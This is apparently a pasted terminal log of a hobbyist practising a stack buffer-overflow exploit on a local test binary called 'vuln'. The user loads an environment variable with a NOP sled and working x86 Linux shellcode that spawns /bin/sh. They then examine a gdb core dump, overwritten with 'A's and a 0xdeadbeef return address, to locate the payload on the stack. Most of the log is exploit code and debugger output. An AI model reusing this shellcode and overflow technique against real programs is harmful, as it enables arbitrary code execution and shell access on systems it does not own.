Anonymous

public text v1 · immutable
#69996
·published 2006-06-23 17:37 UTC
Script started on Fri 23 Jun 2006 01:31:53 PM EDT
yosyp@home:~/hacking/sploitme$ SC=`perl -e 'print "\x90"x256 . "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"                                            '`
yosyp@home:~/hacking/sploitme$ set

. . .
PS2='> '
PS4='+ '
PWD=/home/yosyp/hacking/sploitme
QTDIR=/usr/lib/qt
SC=$'\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\2201ÀPh//shh/bin\211ãPS\211á\231°\vÍ\200'
SHELL=/bin/bash
. . .

yosyp@home:~/hacking/sploitme$ gdb -q ./vuln core
Using host libthread_db library "/lib/libthread_db.so.1".
Core was generated by `./vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0  0xdeadbeef in ?? ()
(gdb) x/20s $esp
. . .
0xbffff75c:	 ""
0xbffff75d:	 "i686"
0xbffff762:	 "./vuln"
0xbffff769:	 'A' <repeats 200 times>...
0xbffff831:	 'A' <repeats 68 times>, "ï¾Þ"
0xbffff87a:	 "CPLUS_INCLUDE_PATH=/usr/lib/qt/include:/usr/lib/qt/include"
0xbffff8b5:	 "MANPATH=/usr/local/man:/usr/man:/usr/X11R6/man:/usr/lib/java/man:/opt/kde/man:/usr/lib/qt/doc/man:/usr/share/texmf/man"
0xbffff92c:	 "HOSTNAME=home.home.sweet.home"
0xbffff94a:	 "DM_CONTROL=/var/run/xdmctl"
0xbffff965:	 "TERM=rxvt"
0xbffff96f:	 "SHELL=/bin/bash"
0xbffff97f:	 "XDM_MANAGED=/var/run/xdmctl/xdmctl-:0,maysd,mayfn,sched,rsvd,method=classic"
0xbffff9cb:	 "WINDOWID=27262978"
0xbffff9dd:	 "QTDIR=/usr/lib/qt"
(gdb) 
0xbffff9ef:	 "USER=yosyp"
0xbffff9fa:	 "LS_COLORS=no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:ex=01;32:*.bat=01;32:*.BAT=01;32:*.btm=01;32:*.BTM=01;32:*.cmd=01;32:*.CMD=01;32:*.com=01;32:*.COM=01;32:*"...
0xbffffac2:	 ".dll=01;32:*.DLL=01;32:*.exe=01;32:*.EXE=01;32:*.arj=01;31:*.bz2=01;31:*.deb=01;31:*.gz=01;31:*.lzh=01;31:*.rpm=01;31:*.tar=01;31:*.taz=01;31:*.tb2=01;31:*.tbz2=01;31:*.tbz=01;31:*.tgz=01;31:*.tz2=01;"...
0xbffffb8a:	 "31:*.z=01;31:*.Z=01;31:*.zip=01;31:*.ZIP=01;31:*.zoo=01;31:*.asf=01;35:*.ASF=01;35:*.avi=01;35:*.AVI=01;35:*.bmp=01;35:*.BMP=01;35:*.flac=01;35:*.FLAC=01;35:*.gif=01;35:*.GIF=01;35:*.jpg=01;35:*.JPG=0"...
0xbffffc52:	 "1;35:*.jpeg=01;35:*.JPEG=01;35:*.m2a=01;35:*.M2a=01;35:*.m2v=01;35:*.M2V=01;35:*.mov=01;35:*.MOV=01;35:*.mp3=01;35:*.MP3=01;35:*.mpeg=01;35:*.MPEG=01;35:*.mpg=01;35:*.MPG=01;35:*.ogg=01;35:*.OGG=01;35"...
0xbffffd1a:	 ":*.ppm=01;35:*.rm=01;35:*.RM=01;35:*.tga=01;35:*.TGA=01;35:*.tif=01;35:*.TIF=01;35:*.wav=01;35:*.WAV=01;35:*.wmv=01;35:*.WMV=01;35:*.xbm=01;35:*.xpm=01;35:"
0xbffffdb6:	 "GDK_USE_XFT=1"
0xbffffdc4:	 "KDEDIR=/opt/kde"
0xbffffdd4:	 "T1LIB_CONFIG=/usr/share/t1lib/t1lib.config"
0xbffffdff:	 "MINICOM=-c on"
0xbffffe0d:	 "DESKTOP_SESSION=fluxbox"
0xbffffe25:	 "PATH=/usr/local/bin:/usr/bin:/bin:/usr/X11R6/bin:/usr/games:/usr/lib/java/bin:/usr/lib/java/jre/bin:/opt/kde/bin:/usr/lib/qt/bin:/usr/share/texmf/bin:."
0xbffffebd:	 "LC_COLLATE=C"
0xbffffeca:	 "INPUTRC=/etc/inputrc"
0xbffffedf:	 "PWD=/home/yosyp/hacking/sploitme"
0xbfffff00:	 "JAVA_HOME=/usr/lib/java"
---Type <return> to continue, or q <return> to quit---
0xbfffff18:	 "LANG=en_US"
0xbfffff23:	 "PS1=\\u@\\h:\\w\\$ "
0xbfffff33:	 "PS2=> "
0xbfffff3a:	 "COLORFGBG=10;0"
(gdb) 
(gdb) # Where is SC ?
(gdb) q
yosyp@home:~/hacking/sploitme$ exit
Script done on Fri 23 Jun 2006 01:33:37 PM EDT